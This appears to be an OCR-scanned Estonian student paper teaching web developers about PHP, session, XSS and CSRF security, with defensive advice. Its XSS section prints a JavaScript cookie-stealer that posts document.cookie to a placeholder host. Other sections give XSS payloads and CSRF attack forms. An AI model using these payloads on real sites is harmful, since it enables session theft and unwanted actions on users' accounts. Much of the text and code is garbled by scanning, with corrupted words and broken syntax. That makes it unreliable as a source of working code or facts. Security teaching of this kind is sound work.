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Sissejuhatus

Veebiprogrammeerimine on ala, millega tegeleb Egxlju inimesi, alustades algajatest, kes
loovad oma isiklikke kodulehti, [6petades professi@isete veebiprogrameerijatega. Kéesolev
t66 on mdeldud just neile, et teavitada neid vdikest turvaprobleemidest, mis nende

projektides ette tulla vdivad, ja et jagada vihjéididas neid probleeme valtida.

Globaalses veebis kull leidub veebirakenduste tiswse teemal mitmeid Ulevaatlikke
materjale, kuid eestikeelses veebis praktilisettant neti.ee-st vastavaid termineid otsides ei
leia kuigi palju mdistlikku. Seega, mu eesmark éitat see tuhi koht ja kindlasti ka t66

sisuosa tulevikus avalikku veebi Ules panna.

Nagu Oeldud, ingliskeelses veebis leidub mitmeidbw@kenduste turvalisuse teemalisi
allikaid. Domineerivaimaid projekte on Open Web Aggtion Security Project (OWASP,

http://www.owasp.orjj mis Uhendab kogukonda erinevaid ettevotteidijauid, kes to6tavad

kdigile kattesaadavate turvaalaste artiklite ja ritsthde arendamisega. Leidub ka
informatsiooni mitmetes muudes veebiarendusegaddémhtades, nagu naiteks:

e PHP ametlik lehekilgww.php.ne}

e Microsoft Development Network (MSDNhttp://msdn.microsoft.cojn Microsofti

programmeerimiskeelte nurga alt

e Web Application Component Toolkit lehekuldtip://www.phpwact.org/, kus on

andmebaas turvateemade kohta
e Erinevad IT-alased blogid

Eelpool mainitud allikaid on ka kasutatud selle kiddstamisel.

Tdenaoliselt levinuim programeerimiskeel veebildetéoomiseks on PHP ja mul isiklikult on
ka sellega enim kogemust, seega sai lahenetud vatale probleemidele |abi PHP
vaatenurga. Kuna t60s leidub palju PHP-s koodiihiten selle programeerimiskeele
tundmine ka t60 lugemise eelduseks. Teiseks okaligelduseks t60 lugemisel oleks
teadmised SQL keele kohta.



To6 on tinglikult jaotatav kahte ossa. To0 alguses Ulevaade erinevatest
veebitehnoloogiatest, nende ajaloost ja turvalisekéndamisest. Teine pool to6st kasitleb
lahemalt kolme levinud rindetttpi, millest iga kohin antud kirjeldus selle olemusest,

rinnakuviisidest, ja ka vihjeid, kuidas enda prajeknde riinnakutlitipide vastu kaitsta.

Kokkuvdttes on selle t66 n&ol tegu materjaliga)ersisu on koostatud informatsioonist, mida
tasuks igal veebiprogrameerijal teada ja meeleadaidet tema veebirakendused ei alluks

rinnetele, mille vastu on koodi digesti kirjutadesl voimalik suhteliselt lintsasti kaitsta.



1. Veebitehnoloogiad ja nende turvalisus

1.1 PHP

Veebis leiduva statistikéjargi on kdige populaarsemad programmeerimiske€ledhva, C+
+ ja PHP. Neist esimesed kolm on peamiselt sisegmegrammeerimiskeeled, PHP aga
spetsiaalselt sobiv veebilehtede loomiseks. Seagkides veebilehtede turvalisusest, peab

kindlasti radkima PHP-st.

PHP eelkéaija on PHP/FI, mille I16i Rasmus Lerdor$tah1995. Esialgu oli tegu lihtsalt Perli
skriptidega tema isiklikuks otstarbeks. Aja jooksoliutus see aga korralikuks tooriistaks
millega veebilehti luua, ning selle lahtekood muudealikuks. 1997 aastal kui tuli valja
PHP/FI 2.0, mis oli kirjutatud C-s, siis oli seljgba palju fanne tle maailma, kuigi ideeliselt

oli tegu siiski suure hemeheprojektiga.

PHP 3. versioon oli esimene, mis sarnanes praegidéP-le. Selle kirjutasid Andi Gutmans
ja Zeev Suraski nullist. PHP 4. versioon (1999)j@ijekordne Umber kirjutamine, samadelt
autoritelt, ja selle mootor nimetati Zend Enging'ikutorite eesnimedest tuletatult. Praegune

versioon on PHP 5, mis lasti valja 2004. aastal.

Kuna teadmised PHP-st on selle t60 lugemise o&aliselduseks, siis siinkohal puudub tapne
kirjeldus PHP stintaksi ja loogika kohta. Seevagja #asub aga siin anda Uldisemaid
nduandeid, mida oma PHP installatsiooniga tehalidds selles arendada, et tagada turvaline

tulemus.

Pdhiline, millega arvestada, on et tuleb filtrearikidiki rakendusest valjastpoolt tulevaid
andmeid. Kui kasutaja laeb ules faili, tuleb koltida, et tegu on diget tutpi failiga; kui

kasutaja postitab teksti, tuleb kontrollida et seesisaldaks keelatud mérke ja teksti. Kui
mingid andmed vastavad kindlale formaadile ja rk@isutaja kaest kusitakse, tuleks kindlasti

kontrollida, et sisestatud andmete formaat vastalute (koodinaide jargmisel lehekdljel).

PHP — platvormist sdltumatu skriptikeel. LihendRPtdleb nimetusest "Personal Home Page Tools
(PHPT)", kuid nutd tdlgendatakse seda kui "HyperBneprocessor"



$korras_andmed = array();

//kontrollime et tdisarvuline sisend oleks ikka taisarvuline

if($_POST[ 'number'] == strval(intval ($_POST['number'])))
$korras_andmed[ 'number'] = $_POST['number'];

//kontrollime et e-posti aadress oleks korrektse formaadiga

$email_regexp = '/A[A@\s<&>]+@([-a-z0-9]+\.)+[a-z]1{2,}$/i";

if(preg_match($email_regexp, $_POST['email']))

$korras_andmed["email'] = $_POST['email'];
salvesta($korras_andmed); //teeme korras andmetega midagi kasulikku

Koodinaide 1- andmete valideerimine

Kuigi kasulik on kdiki muutujaid initsialiseeridéasuks ikkagi lulitada valja register_globals
direktiiv. Kui see on peale lulitatud, siis kéik REEST muutujad on koodis ilma globaalset
muutujat kasutamata kattesaadavad:

echo $muutuja;
($muutuja === $_GET[ 'muutuja'])

if(kasutajasisseLoginud())

$autenditud = 1;

}f($autenditud)
//siia joutakse ka ilma 6igusteta, kui urlis autenditud=1
include('./salajane/andmed.inc’

Koodinaide 2- register_globals direktiiviga seotud riskid

PHP trikib t66 kaigus tekkivad vead vaikimisi ekrdéa Kui veebilehte alles ehitatakse, on

need kasulikud vigade leidmiseks ja parandamiséiisnis veebilehes ei tohiks vigu esineda,

aga sellest hoolimata tuleks maarata php.ini seadgiks juhuks, et veateated kasutajatele
valja ei kuvataks, sest nende pdhjal voib saadaajaninformatsiooni rakenduse ehituse

kohta. Eelpool mainitud register_globals on sanpiip ini faili seade. PHP veahaldusega

seotud direktiivid, mida tasub jélgida, on jargnd¢a

;milliseid vigasid kuvatakse. E_ALL kuvab kéik vead, mis on soovitatav

seade, et kdik vead oleks Teitud ja saaks parandatud.

error_reporting = E_ALL

;kas_vigu kuvatakse vdlja voi mitte, soovitatav valmis Tehel maha keerata
display_errors = off

;kas ja kuhu vigu Togitakse failislisteemi - soovitatav peale keerata, et
saaks hiljem liTevaate reaalses saidis tekkinud vigadest

Tog_errors = On

error_log = /var/log/error.log



PHP seadete fail vbib erinevates serverites asuit@vas kohas. VOib proovida seda
k&surealt otsida, kuid kdige lihtsamini leiab selles, kui kutsuda suvalises php failis valja

phpinfo() funktsioon ning vaadata, mis on kirja®dded configuration file" valjas.

<?php

//selle abil Teiaks lles php.ini faili
phpinfo();

?>

Koodinaide 4 — php kohta informatsiooni saamine

Vahel pole 6igusi php.ini faili muutmiseks, naitelsamuses virtuaalserverites, mida firmad

inimestele pakuvad. Sel juhul saab PHP ini seasksdh muuta ka skripti kdigu pealt.

<?php

ini_set('display_errors, 'off');
?>

Koodinaide 5— php ini seadete muutmine skriptis



1.2 SQL andmebaasid

Andmebaasimudeleid on mitmeid — relatsioonilinejektorienteeritud, vorkmudel, jms.
Kdige populaarsemad on relatsioonilise@®RACLE, SQL Server, DB2, MySQL).
Relatsioonilistest andmebaasististeemidest enamsstakad andmeparingute tegemiseks
SQL-keelt.

SQL-i ajalugu algab 1970-ndatest aastatest, kui-iBtegeleti vastava uurimustédga. SQL-i
ja relatsiooniliste andmebaaside aluseks loetaksd-.ECoddi poolt kirjutatud t66dA
Relational Model of Data for Large Shared Data Banks. 1974 aastal alanud projekti kaigus
sai alguse SEQUELStructured English Query Language, mis hillem nimetati imber SQL-
iks. Peale IBM-i 16id ka teised tarkvaratootjad S@Qpo&hinevaid tooteid, nende seas Oracle,
kes joudis kommertstarkvaraga ka IBM-ist ette, jas non hetkel populaarseim

andmebaasitarkvafa.

Veebiarenduse juures on SQL turvalisuse juuresldp&QL Injectioni teema, millest
radgitakse toos hillem) Uks olulisi punkte see, kaskuidas hoitakse andmebaasiga
uhendamise jaoks vajalikke kasutajaandmeid. Sdgeiakse SQL parooli ja kasutajanime
eraldi failis, naiteks:

<?php

define('DB_HOST', 'localhost');

define('DB_USERNAME', 'scriptuser');

define('DB_PASS', 'script_pwdl123');

$db = mysqgl_connect (DB_HOST, DB_USERNAME, DB_PASS);

7>

Koodinaide 1- andmebaasi andmete hoidmine failis

Selline l1&henemine on mugav, end kindlasti tuleksdata, et seda faili ei hoitaks document
rooti (avaliku veebi kausta) all. Juhul, kui antufail on kattesaadav nt
http://lwww.site.org/conf/db.inc vms URL-i alt, vOitekkida kurikaeladel vdimalus neid
andmeid lugeda. Uks idee on ka salvestada needeghdpache keskkonnamuutujateks, mis
muudab nende kasutamise mugavaks, sest nad onalglebb&kattesaadavad ja valjastpoolt
neid andmeid dldjuhul pole vdoimalik naha, kull agkib sel juhul oht, kui on kuskil nahtav

phpinfo() meetodi valjund, kust saavad need andsiisd/alja paista.



1.3 Klpsised

Veebis kaib suhtlus serveri ja kliendi (kasutajahe@ paringute kaupa, klient saadab paringu,
et saada mingit informatsiooni vdi et muuta mingamdimeid, ja saab serverilt vastuse. HTTP
on seega pusiva olekuta, iga paring serverile o sarver ei tea, kas antud paring on
kliendilt esimene vb6i mitmes, ega millal jargminéripg tulla vbiks. Vahel on aga vaja

meelde jatta informatsiooni, mida mingi kasutajateimud, tema olekut. Naiteks, kui keegi

kulastab veebipoodi, tuleb meelde jatta see, nadantla ostukorvi on pannud. Turvalisuse
seisukohalt on muidugi olulisim informatsioon kasgat sisse/valja logitud staatus. Sellist

informatsiooni saab hoida kipsiste abil.

Kipsised (ingl.k cookie) on vaikesed tekstifailid, mida hoitakse kasutajautis ja kus
peetakse meeles igasuguseid andmeid, nt e-poeoogtsisu. Kupsised voeti esmakordselt

kasutusele aastal 1994, kuid said laiemalt tunt@&6 aastal.

Kilpsise loomine ja kasutamine kaib nii:

- Brauser saadab serverile paringu, kisib mondanatilehte.

- Server saadab vastu lehekulje sisu, mille palséseerib kipsise.

- Brauser salvestab kipsise kasutaja kdvakettale.

- Jargmine kord, kui brauser serverile paringutlabapaneb ta paringusse kaasa ka varem

salvestatud kipsisé.

Brauser 1. Brauser kiisib veebilehte Server

\4

~27. Server saadab lehe ja Kupsise

3. Brauser kusib veebilehte, saates kilpsise..

Joonis 1- Kipsise vahetamine serveri ja brauseri vahel

HTTP (HyperText Transfer Protocol) - andmevahetosoll, mida kasutatakse Internetis dokumentide
vahetamiseks (e-Teatmik)
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1.4 Sessioonid

Sessioonid, sarnaselt kipsistele, on vahend kasmi@dinete pusivaks hoidmiseks, nii et need
sailiksid labi mitmete paringute. Sessioonide kasuse korral aga hoitakse alati kogu
informatsioon serveris, brauser peab kdigest oskatthandmeid serveri kaest kusida.

Sessiooni loomine ja kasutamine naeb vélja selline:

- Kasutaja teeb péringu serverisse (nt logib onsaiteganime ja parooliga sisse).

- Server alustab sessiooni ja saadab kasutajate gassiooni ID, mida hoitakse kasutaja
arvutis kupsises, kantakse edasi veebilehe URBigaetakse meelde mdnel muul moel.

- Kui kasutaja teeb jargmise paringu, ja on teadaat sessiooni ID (nt URL-ist vOi kiipsisest),

kasutatakse juba loodud sessiooni, kus on vajalagined kirjas.

Server
Kipsis B Sessioon 123
BT?‘“?” Sessiooni ID 12 Kasutajanimi
Kgps!s A Ostukorvi sisu
Kupsis B / \ Sessioon 456
»| Klpsis B >
Sessiooni ID 123

Joonis 1- Naide, kus sessiooni ID hoitakse kipsistes

Kuigi sessiooni andmeid hoitakse turvaliselt, sesyeon voimalik siiski end kellegi teisena

identifitseerida, tema sessiooni andmeid kasutadamelt, kui teada saada kellegi teise
sessiooni ID, siis saab serveri jaoks teeseldéeget on selle teise kasutajaga. Naiteks, kui
sessioni ID-d hoitakse URL-is, ja kasutaja A jagH®L-i kasutajaga B, voib B leida end sisse

logituna A-na.
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Kui kupsiseid pole vBimalik kasutada voi kui seadebn nii defineeritud, lisab PHP urli
[6ppu muutuja PHPSESSID, kus hoitakse sessioond.INagu 6eldud, kui keegi jagab

teistega sellist linki, v8ib imelikke asju juhtuda.

Tanapaeval on enamus veebiserverid konfigureentija&et PHPSESSID muutujat vaikimisi
URL-i ei lisata, ning alates PHP versioonist 5.8i.0isata seda vaikimisi ka siis, kui kipsiste
kasutamine pole vdimalik. Sellest hoolimata on jargnevates I6ikudes kirjsldselle
muutujaga seonduvatest probleemidest, kuna tegoluise teemaga, ja siliamaani leidub
veebiservereid, kus vaikimisi vdi kipsiste keelahidisatakse sessiooni ID URL-i

parameetriks.

Kui sessiooni ID on URL-i kirjutatud, siis lisaksei URL-i jagamisele vdib ID teada saada ka
muud moodi — nimelt, kui Internetis linke modd&uida, saadetakse jargmisele lehele alati
eelmise URL, ja kui likuda naiteks Ilehelthttp://www.mysite.com/index.php ?

PHPSESSID=1234uhugile mujale, saab jargmine leht sealt aadse$sada sessiooni ID,

mis kasutajal eelmisel lehel oli.

Kui pahatahtlik inimene annab kasutajale lingi, kmskindel 1D kirjas, siis seda linki avades
saab kasutaja sessiooni ID-ks vastav tekstildileldde tekib kurikaelal véimalus kasutada
saiti tema digustega (kuna ta teab ID-d). Seda taitalesesession fixation rinnakuks. Sellist

rinnakut on aga suhteliselt lintne &ra hoida, rtimugéb uus ID genereerida (isegi kui tal on
see URL-is méaéaratud), kui sessioon Kkaivitataksenesi korda, kasutaja esmakordsel

lehevaatel. Nii ei alusta keegi sessiooni ID-gdlenta kuskilt mujalt saaf
<?php
session_start();
}f(!isset($_SESSION['a]ustatud']))
session_regenerate_id();

$_SESSION['alustatud'] = true;
h

7>

Koodinaide 1— kuidas valtidaession fixation riinnakuid
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PHPSESSID muutuja URL-is on peale turvariskide kbsaveel probleemne ka
otsingumootorites. Kui tahta otsimootorites endhele parimaid tulemusi, tuleks selle
kasutamine vélja lUlitada. limselgelt on see k&slda turvaeesmarkidel. Selle muutuja
kasutamist saab keelata php ini seadeid muuteslld{in viis selleks on muuta php.ini faili,
kus hoitakse PHP seadisttfsi.

Muuta tuleks kahte seadet, use_only cookies, misirabd kas sessiooni ID meeles
pidamiseks kasutatakse ainult kUpsiseid voi mitteyg use_trans_sid, mis maéarab kas
sessiooni ID kirjutatakse URL-i voi mitte.

session.use_only_cookies = 1
session.use_trans_sid = 0

Koodinaide 2— php.ini-s defineerimine, et sessioonid kasuthk#iult kiipsiseid

XSS rinnak seisneb sageli ka just sessiooni IDatesadmises. Seda kirjeldatakse pikemalt
t60 2. osas. Siinkohal vbiks aga mainida, kuiddsd&kasutaja sessiooni omastamist, juhul
kui keegi tema sessiooni ID teada saab. Nimeltsis@al on salvestatud konkreetse brauseriga
seotult. Brauseri puhul on Usna stabiilne asi terassioon, mis on PHP puhul kirjas
serverimuutujas HTTP_USER_AGENT. Seega, kui keegikp teada saama teise kasutaja
sessiooni ID, on téen&oliselt tal aga teistsuguaeider, ja see on asi, mida tasub sessiooni
loomisel meeles pidada ja kontrollida — et brausersioon pusiks sama. Muidugi brauseri
versioone on piiratud hulk, seega rindaja voibesikagi produtseerida, mispuhul aitaks
turvalisust lisada sinna juurde panna ka kasuRjaaldress.

//esmakordne sisse logimine
function login($user, $pass)

//kontrolTlib kas parool on 6ige
}f($correct)

$_SESSION['user_id'] = $userid;
$_SESSION['S€CUF'ity'] = (SESSION_BIND_IP 7

$_SERV$R['REMOTE_ADDR'] : "'").$_SERVER['HTTP_USER_AGENT'];

ks

//jargnevad paringud

if($_SESSION['security'] != (SESSION_BIND_IP ? $_SERVER['REMOTE_ADDR']
ll)

. $_SERVER['HTTP_USER_AGENT'])
die('sessiooni turvaprobleem');

Koodinaide 3— Kuidas valtida sessiooni varastamist sessidorieada saamisel

XSS (Cross-Site Scripting) — murdskriptimine. Déméliselt genereeritavate veebilehtede kasutamine
vddrastesse arvutitesse tungimiseks (e-Teatmik) 13



2. Cross-Site Scripting
2.1 Ulevaade XSS-ist

XSS olemus seisneb turvalisse ja korralikku veél@eohtliku koodi sisestamises. Tegu on
rinnakuviisiga, mis kasutab &ara usaldust, mis lkgalutmingi veebilehe vastu on. Kui
veebileht kuvab mingilgi moel kasutajate sisestaintbrmatsiooni, kas vormi kaudu
sisestatud vOi brauseri aadressiribale kirjutagksti, on olemas véimalus, et see allub XSS

rinnakule.

Uks ohtlikumaid asi, mida XSS-iga teha saab, oessigla veebilehte valist JavaScripti. V&ib
sisestada ka flashi, HTML-i vdi midagi muud, muuiebilehe vélimust ja/vdi teguviisi.
Kuna JavaScriptil on aga ligipdds brauseris olégadtigpsistele, siis on selle rinnaku abil end
voimalik lubamatult autentida. Moni veebileht saltab sisse logitud kasutaja andmed
kipsisesse nii, et lihtsalt kipsise kopeerimisel abiab endale keelatud 6igusi. Kuid
kipsistega salvestatakse ka sessiooni ID-d, rigise kasutaja kipsise saamisel on kasvoi

ajutiselt (kuna sessioonid aeguvad) suure tdenégaugimalik ent temana autentida.

var d = document; _
var f = d.createElement("iframe"); _ )
f.setAttribute('src', 'http://www.hackersite.com/evil.php?

cookie="+escape(d.cookie));
f.setAttribute('style', 'height: 0; width: 0; border: 0;');
d.body.appendchild(f);

Koodinaide 1— JavaScript millega varastada kipsist

Kui eelpool néaitena toodud JavaScript sisestadadam®eebilehte ja keegi seda kullastab, siis
tema enda teadmata saadetakse tema kupsis adelresgi.hackersite.com/evil.php, mis

naiteks voib selle kuhugile salvestada, ning rimdaab hiljem sellega kasutajat imiteerida.
Kui saab lehekiilge suvalist JavaScripti sisestaddy ka nditeks kasutaja suunata Umber
modnele muule lehele, millel vdib olla igasuguseithevaid eesméarke — pahavara jagamine,

CSREF riinnaku sooritamine, kommertslikke eesmankss, v

XSS runnakud vdib peamiselt jagada kahte kategeswia salvestatud XSS ja peegeldatud

XSS Jargnevates naidetes uurime lahemalt molemagntari
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<?php
if($_POST['comment'] && $_POST['name'])

$fp = fopen('comments.txt', 'a+');

fwrite($fp, $_POST['name'].' said : '.str_replace("\n", "<br />",
$_POST['comment'])."\n");

fclose($fp);

echo "Thank you for your comment!<br /><br />";

¥

$comments = @file('comments.txt');
foreach((array)$comments as $comment)

echo $comment.'<br /><br />';
?>
<form action="" method="post">
Name:<br />
<input type="text" name="name" /><br />
<textarea name="comment''></textarea><br />

<input type="submit" />
</form>

Koodinaide 2 — Ebaturvaline viis salvestatud andmete kuvamiseks

Antud naide kirjeldab siis skripti, mis kujutab exstl téiesti tdotavat kommenteerimisvormi,
millega inimesed saavad midagi postitada ja sees@takse ning hillem kuvatakse. Koigil
on aga vOimalus praktiliselt tkskdik mida vormigeats, ja see kuvatakse samal kujul valja.
Kui keegi kirjutaks naites 1 toodud JavaScripti koemtaariks (antud vormi puhul tuleks
sellest XSS skriptist eemaldada reavahed, et sétki), siis see skript kaivitataks.
Salvestatud XSS kujutabki endast seda, kui valinedksalvestatakse saiti, nii et seda

kuvatakse edaspidi seal vélja.

Peegeldatud XSS korral rindekoodi ei salvestatsutktakse muid turvaauke et lehte
JavaScripti v6i HTML-i sisestada. Uks naide olektsirmuvorm, mis kuvab peale otsingu
tegemist tapselt samal kujul otsingusdna (nt "gtsieé <script>alert('blah’)</script> leiti 0

tulemust”) — siis jaakski rindajal Ule vaid otsiagnaks kirjutada oma rindekood. Peale

otsinguvormide on selliseid potensiaalseid voimadnsveel mitmeid.

Kui on tegu enam-vahem korralikult kodeeritud vésiega, siis ei kuvata kdike muutmata
kujul valja, mida kasutajad sisestavad. See entddeet turvaauke tingimata poleks:

Nt Tubatakse kasutajal sisestada pilte koodiga mida kuvamisel asendatakse
[imglhttp://bl.ah/pilt.jpgl[/img] => <img src="http://bl.ah/pilt.jpg" />

Rinnak:
[img]javascript:alert('!')[/img] => <img src="javascript:alert('!')" />

Lubatakse ainult "pilte", mis on "pildi moodi", aga mitte korralikult:
[imglhttp://bl.ahblah" onerror="alert('!');//pilt.jpgl/img] => <img
src="http://bl.ahblah" onerror="alert('!"');//pilt.jpg" />

Koodinaide 3— XSS rinnaku vdimalusi (ndide on reaalsest fosulaitud turvaauk)
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2.2 XSS vastu kaitsmine

Pohitdde selleks, et veebileht ei alluks XSS rUnitalke, on véltida usaldamata sisendi

kuvamist. Kui kasutajatel on vb6imalus veebilehegaetda, sinna andmeid lisada, tuleks

jargida jargnevat:

Salvestamisel kontrollida, et sisestatu koosneksultilubatud t&dhemarkidest /
sbnadest. Naiteks kui sisestada tuleb inimese rsiig, see vOiks sisaldada ainult
ladina tahti, tlakomasid ja sidekriigée

Kasutaja poolt sisestatud andmete kuvamisel asandabtlikud elemendid
turvalistega, naiteks kui on tegu tavatekstina kava sisendina, ja seda pole méeldud

HTML-ina kuvada, tuleks asendada jargnevad taheich&egtavalt:

Sisend Turvaline vdljund
< &1t;

> &gt;

& &amp;

&quot;
! &#X27,;

/ &#X2F;

Koodinaide 1— Tahemarkide asendustabel

Selliste asenduste tegemisel peaks olema suhtekselel, et tekst ei saa lehe

terviklikkust ja funktsionaalsust muuta. PHP-s a@ilisteks asendusteks soovitatav
kasutada htmlspecialchars (mis asendab simbolemdlidéga, nagu eelnevas néites) ja
striptags (mis kérvaldab kdik HTML tagid) funktsios.

Kasutada HttpOnly kipsiseid. See aitab kaitstanl@wnate XSS rinnakute vastu, mis
seisnevad kasutaja kipsise varastamises. HttpQiggised on kattesaadavad ainult
serveri poolel ja mitte JavaScriptis. PHP-s on @tily kipsise seadmiseks mitu

vOimalust:

/[PHP ini seade:
session.cookie_httponly = True

/IKupsise seadmisel rakenduse kipsistel vimane par ameeter:

setcookie( ‘'uid'" , $uid ,time()+ 3600, /' , ‘'.mysite.org' , 1, 1);

Koodinaide 2— HttpOnly kiipsiste seadmine PHP-s

16



Kui on vaja kasutajal lubada sisestada HTML ta@e kui kuvatakse kasutaja sisendit
CSS omadustes vdi JavaScriptis, tuleb erilisektvetttlik olla. CSS-gi vbimaldab
sooritada runnakuid, naiteks erinevate url('..aduste kaudu. Javascriptis vOib
naiteks ette tulla, et serveripoolse koodi abilnzakse JS skript kokku, ja sinna satub
kasutaja sisendit, millega saab skripti funktsidsizst muuta. Turvalisem meetod on
madarata kindlaks, mis tapselt on antud juhul ludbataitte poovida "kurjasid" asju
eemaldada voi keelata. St tuleks kasutada "valgetekarja" ja lubada ainult
minimaalseid vBimalusi, mitte "musta nimekirja",li@ipdhjal naiteks "<script>" voi
"jJavascript” stringe keelata.

Lubatakse kasutajal muuta kasti vdrvi:
<div style="background-color: <?=$bgcolor?>;">

XSS sisend ja tulemus (mis tootab mdndades vanemates brauserites)
$bgcolor = "#fff; background-image: url(javascript:
alert(document.cookie))";

<div style="background-color: #fff; background-image: url(javascript:
alert(document.cookie))'">

Ndide Javascripti XSS-ist:
<script>

var item_count = <?=$count?>;
</script>

Kui seda sisendit ei kontrollita, v6ib tulemus olla midagi sellist:
var item_count = 1; alert(document.cookie);

Koodinaide 3— JavaScripti ja CSS-i kasutaja sisendi lubantedddivad ohud

Kokkuvéttes tuleks hoolikas olla, et igasugune glikuparameeter, mida sisestatakse HTML-

i, CSS-i vbi JavaScripti oleks turvalisel kujulkPma tekstilise sisendi puhul on turvalisim

vis HTML sisendis taielikult keelata, kui aga sdakse lasta kasutajatel oma sisendi

valimust muuta, on lihtsaim viis kasutada mondanisllahendust:

Alternatiivse suntaksiga susteemid, nagu BBCodes om foorumites levinud, voi
Wikitext, mida kasutatakse peamiselt erinevatesi wilsteemides nagu Wikipedia.
Nende puhul luuakse teksti formatiseering, lingdddid, jms oma erilise koodiga,
mida kuvamisel to6deldakse HTML-iks.

PHP Input Filter littp://www.phpclasses.org/browse/package/2189)html mis

pohimotteliselt on arenenum versioon PHP striptagsetodist. Striptags on
ebaturvaline, kui jatta moned tagid lubatuks, sest ei kontrolli attribuutide sisu (nt

lubades IMG tag, vOib keegi sisestada <img src=$avipt: alert("XSS')" /> vdi <img
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src="pilt.jpg" onload="alert('XSS") />. PHP InpuilitEr aga kontrollib ka attribuutide
sisu ja aitab XSS rinnakuid ara hoida.

e kses http://sourceforge.net/projects/ksest mis on Uks levinumaid HTML

puhastamise vahendeid, mida kasutab naiteks WaslPre
e htmlLawed
(http://www.bioinformatics.org/phplabware/internalilities/htmLawed/index.php
e HTML Purifier (http://htmlpurifier.org

XSS aukude (nagu ka SQL injectioni haavatavustéeshion t6ds hiljem juttu) leidmiseks
rakendusest on ka olemas kiimneid automaatseiddakiemillest monda tasub proovida, kui

panna pusti moni suurem / diinaamiline / missioatilkre veebilahendus.
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2.3 XSS Juhtumeid

Kuna XSS runnakutega on vdimalik palju saavutadaoluline, et kui keegi leiab mone

turvaaugu, siis see saaks parandatud. Suuremhtetiéd nagu Facebook, Twitter, jms tekib
selliste turvaaukudega ka palju meediakdra, misuméende mainele halvasti. Ometi laheb
kohati palju kuni igavesti aega, et augud parardtiafiaks. Kui kuulsamate lehekiilgede puhul
jduavad asjad ka meediasse, siis vaiksemate letX&® aukudest saab Ulevaate naiteks

http://www.xssed.confehelt.

Konkreetseid naiteid vOiks tuua Twitteri pdhjal, skwn aastate jooksul palju piinlikke
turvaprobleeme esinenud. Aprillis 209%idis (ks igavleV 17-aastane noormees, Mikeyy
Mooney, et ta saab Twitteris oma profiiliandmeted¥®eaScripti sisestada, mida kuvatakse ka
lehel. Leidlik idee oli kirjutada JavaScripti visumis kaitus nii, et kui keegi selle koodiga
nakatunud profiili vaatas, siis kopeeriti see k&kadema profiilile, ja ta postitas tweete, mille
sisu oli reklaamida noormehe uut isiklikku veebjpkbi. Asi eskaleerus kdrgeks ja tekitas
meeletut meediakara, nii et [dpuks noormees eitzs seotust asjatfaisegi kuigi viirus laeti

alla tema veebiserveridtja Uritas kaitsta end ja oma varsket reklaamitseabilehte.

Teine hiline mainimist vaart Twitteri turvaaugu gaaleidis aset 14. septembril 2010.
Turvaaugu leidis jaapani arendaja Masato Kinug3vigba kuu aega varem. Septembris aga
kaivitus uut Twitteri versioon, ja leidnud et seal sama turvaauk, postitas ta Twitteri lehe,
kus ta kasutas turvaauku et tweetide varvi muutek&d oli siis tegu vdhem ohtliku
rakendusega sellele augule, juhus, mis naitabhépeale hakkerid ei plaani kurja, vaid
nditavad turvaauke arendajatele ette, et nad nedandaks. Muidugi aga leidus
pahatahtlikuimaid isikuid, kes lasid taaskord tawgu kaudu viiruse kaima. JavaScripti sai
seekord kaima lasta hiirt vastavale lingile kohales. Nimelt, Twitteri HTML parser
murdus, kui link sisaldas "@"- marki, millele sargi Uksk&ik mida kirjutadfd. Lihtsustatud

naide rinnakukoodist:

http://a.no/@";onmouseover="alert('!")

<a href="http://a.no/@" ;onmouseover="alert('!"')">
Koodinaide 1— Naide koodist, mis Twitteri lingi parserit 16h&ku

Seeqi kord liikus viirus I6puks meeletu kiirusegati peale populaarsete tweetijate lehtede
nakatumist viirusega.
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3. Cross-Site Request Forgery
3.1 Ulevaade CSRF-ist

Kui XSS-i puhul on tegu riinnakuga, mis kasutablk#sutaja usaldust veebilehe vastu, siis
CSRF on riinnakuviis, mis kasutab ara usaldustyveesilehel kasutaja vastu“bnEnamasti
on veebilehtedel erinevad tegevused, mida sealdahh (andmete muutmine, kustutamine,
vms) seotud mingi kindla URL-iga. Naiteks, URL-idhille pealt veebileht v6ib mingeid
andmeid kustutada voi muuta:

%itgéj;xxx.392T$2?0$;§535221$gn252iete&itemID=344

2. Nditlik andmete muutmise URL:
http://www.georgesrecipes.com/edit.php

Koodinaide 1 —URL-id tegevuste labiviimiseks

CSREF riunnakut labi viies paneb riindaja sellise URiBnele veebilehele, e-maili, vms. Kui

niidd keegi seda urli kilastab, siis naiteks eelniséites URL #1 puhul kustutataks
susteemist mingeid andmeid, eeldusel et kasutaga, deda linki kilastab, on vastavas
susteemis sisse logitud, ja tal on digused seileingu |&bi viimiseks. P6himdte Uhesbnaga
seisneb selles, et pannakse kasutajat enda teadomttama mingeid toiminguid, viies teda

laadima internetiaadressit, mis sellele toimingastab.

Voimalusi, kuidas panna kasutajat sooritama tahtidabiminguid voi kilastama riinnaku
URL-i, on mitmeid. Enamus neist meetodeist eeldavadiugi, et kasutaja kilastaks rindaja
valmistatud veebilehte, aga selleks on erinevaithipsloogilisi nippe, kuidas kedagi ménele
ohtlikule veebilehele saada — reklaamida, et segilbe nunnudest kiisudest, vms. Jargnevad
moned naited HTML koodist, mille abil panna kasatapt andmete kustutamise URL-i
"kilastama”.

<img src="http://www.mysite.org/do?action=delete&itemID=344" />
<iframe src="http://www.mysite.org/do?action=delete&itemiD=344" />
<script src="http://www.mysite.org/do?action=delete&itemID=344"></script>

Koodinaide 2 - V&imalusi, mida rinnakulehes kasutada, et p&iitestajat sooritama soovimatuid toiminguid

Eelpool toodud néaited ttotavad juhul, kui rinnakhiks oleval veebilehel kasutatakse

andmete vastu votmisel GET meetodit, ehk kui tegeaarameetrid antakse URL-is kaasa.
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Kui POST abil andmete liigutamine tegevuse sootigaks vélistab eelpool toodud néites
esitatud lihtsamad runnakuviisid, siis ka POST pilevaline. Kui riindaja sisestab oma
rinnakulehte midagi taolist nagu jargnev kood, sisvdimalik ka tle POST-i lasta kellegi
diguseid ara kasutades kurja teha:

<form name="f" method="post"

action="http://www.georgesrecipes.com/edit.php">

<input type="hidden" name="content" value="LOL you've been hacked" />

<input type="hidden" name="1itemID" value="12" />

<input type="submit" style="display: none;" />

</form>

<script>

document.forms.f.submit();
</script>

Koodinaide 3 —CSRF riinnaku labi viimine tle POST-i

Levinud viis CSRF riinnakute tegemiseks on ka kasufavaScripti HttpRequest objekti ehk
AJAX-i vBimalusi, mille abil saab samuti kasutagatimata panna teda sooritama erinevaid
tegevusi, Ukskoik kas sihtmark kasutab GET voi P@t&Etodit.

Kui XSS ja SQL Injectionit on vBimalik oma rakenégstuvastada erinevate tooériistade abil,
